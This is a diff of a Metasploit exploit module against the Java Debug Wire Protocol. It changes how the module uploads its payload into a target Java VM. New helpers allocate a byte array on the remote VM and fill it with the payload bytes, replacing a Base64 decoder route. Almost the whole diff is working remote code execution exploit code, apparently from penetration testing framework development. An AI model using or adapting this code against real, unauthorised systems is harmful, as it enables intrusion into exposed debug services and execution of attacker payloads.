@@ -34,13 +34,15 @@ class Metasploit3 < Msf::Exploit::Remote
34
34
SETSTATICVALUES_SIG = [ 3 , 2 ]
35
35
INVOKESTATICMETHOD_SIG = [ 3 , 3 ]
36
36
CREATENEWINSTANCE_SIG = [ 3 , 4 ]
37
+ ARRAYNEWINSTANCE_SIG = [ 4 , 1 ]
37
38
REFERENCETYPE_SIG = [ 9 , 1 ]
38
39
INVOKEMETHOD_SIG = [ 9 , 6 ]
39
40
STRINGVALUE_SIG = [ 10 , 1 ]
40
41
THREADNAME_SIG = [ 11 , 1 ]
41
42
THREADSUSPEND_SIG = [ 11 , 2 ]
42
43
THREADRESUME_SIG = [ 11 , 3 ]
43
44
THREADSTATUS_SIG = [ 11 , 4 ]
45
+ ARRAYSETVALUES_SIG = [ 13 , 3 ]
44
46
EVENTSET_SIG = [ 15 , 1 ]
45
47
EVENTCLEAR_SIG = [ 15 , 2 ]
46
48
EVENTCLEARALL_SIG = [ 15 , 3 ]
@@ -322,10 +324,6 @@ def version
322
324
"#{ @vars [ "vm_name" ] } - #{ @vars [ "vm_version" ] } "
323
325
end
324
326
325
- def is_java_eight
326
- version . downcase =~ /1[.]8[.]/
327
- end
328
-
329
327
# Returns reference for all threads currently running on target VM
330
328
def get_all_threads
331
329
sock . put ( create_packet ( ALLTHREADS_SIG ) )
@@ -630,6 +628,36 @@ def create_instance(class_id, thread_id, meth_id, args = [])
630
628
buf
631
629
end
632
630
631
+ # Creates a byte[]
632
+ def create_array ( len )
633
+ target_class = get_class_by_name ( "[B" )
634
+ fail_with ( Failure ::Unknown , "target_class is nil" ) if target_class . nil?
635
+
636
+ type_id = target_class [ "reftype_id" ]
637
+ fail_with ( Failure ::Unknown , "type_id is nil" ) if type_id . nil?
638
+
639
+ data = format ( @vars [ "referencetypeid_size" ] , type_id )
640
+ data << [ len ] . pack ( 'N' )
641
+
642
+ sock . put ( create_packet ( ARRAYNEWINSTANCE_SIG , data ) )
643
+ buf = read_reply
644
+ buf
645
+ end
646
+
647
+ # Initializes the byte[] with values
648
+ def set_values ( obj_id , args = [ ] )
649
+ data = format ( @vars [ "objectid_size" ] , obj_id )
650
+ data << [ 0 ] . pack ( 'N' )
651
+ data << [ args . length ] . pack ( 'N' )
652
+
653
+ args . each do |arg |
654
+ data << [ arg ] . pack ( 'C' )
655
+ end
656
+
657
+ sock . put ( create_packet ( ARRAYSETVALUES_SIG , data ) )
658
+ read_reply
659
+ end
660
+
633
661
def temp_path
634
662
return nil unless datastore [ 'TMP_PATH' ]
635
663
unless datastore [ 'TMP_PATH' ] . end_with? ( '/' ) || datastore [ 'TMP_PATH' ] . end_with? ( '\\' )
@@ -709,43 +737,14 @@ def create_file(thread_id, filename)
709
737
# Stores the payload on a new string created in target VM
710
738
def upload_payload ( thread_id , pl_exe )
711
739
size = @vars [ "objectid_size" ]
712
- if is_java_eight
713
- runtime_class , runtime_meth = get_class_and_method ( "Ljava/util/Base64;" , "getDecoder" )
714
- buf = invoke_static ( runtime_class [ "reftype_id" ] , thread_id , runtime_meth [ "method_id" ] )
715
- else
716
- runtime_class , runtime_meth = get_class_and_method ( "Lsun/misc/BASE64Decoder;" , "<init>" )
717
- buf = create_instance ( runtime_class [ "reftype_id" ] , thread_id , runtime_meth [ "method_id" ] )
718
- end
719
- unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
720
- fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected Object" )
721
- end
722
-
723
- decoder = unformat ( size , buf [ 1 ..1 +size -1 ] )
724
- if decoder . nil? || decoder == 0
725
- fail_with ( Failure ::Unknown , "Failed to create Base64 decoder object" )
726
- end
727
740
728
- cmd_obj_ids = create_string ( "#{ Rex ::Text . encode_base64 ( pl_exe ) } " )
729
- if cmd_obj_ids . length == 0
730
- fail_with ( Failure ::Unknown , "Failed to allocate string for payload dumping" )
731
- end
732
-
733
- cmd_obj_id = cmd_obj_ids [ 0 ] [ "obj_id" ]
734
- data = [ TAG_OBJECT ] . pack ( 'C' )
735
- data << format ( size , cmd_obj_id )
736
- data_array = [ data ]
737
-
738
- if is_java_eight
739
- runtime_class , runtime_meth = get_class_and_method ( "Ljava/util/Base64$Decoder;" , "decode" , "(Ljava/lang/String;)[B" )
740
- else
741
- runtime_class , runtime_meth = get_class_and_method ( "Lsun/misc/CharacterDecoder;" , "decodeBuffer" , "(Ljava/lang/String;)[B" )
742
- end
743
- buf = invoke ( decoder , thread_id , runtime_class [ "reftype_id" ] , runtime_meth [ "method_id" ] , data_array )
744
- unless buf [ 0 ] == [ TAG_ARRAY ] . pack ( 'C' )
745
- fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected ByteArray" )
746
- end
741
+ buf = create_array ( pl_exe . length )
742
+ fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected Array" ) unless buf [ 0 ] == [ TAG_ARRAY ] . pack ( 'C' )
747
743
748
744
pl = unformat ( size , buf [ 1 ..1 +size -1 ] )
745
+ fail_with ( Failure ::Unknown , "Failed to create byte array to store payload" ) if pl . nil? || ( pl == 0 )
746
+
747
+ set_values ( pl , pl_exe . bytes )
749
748
pl
750
749
end
751
750
0 commit comments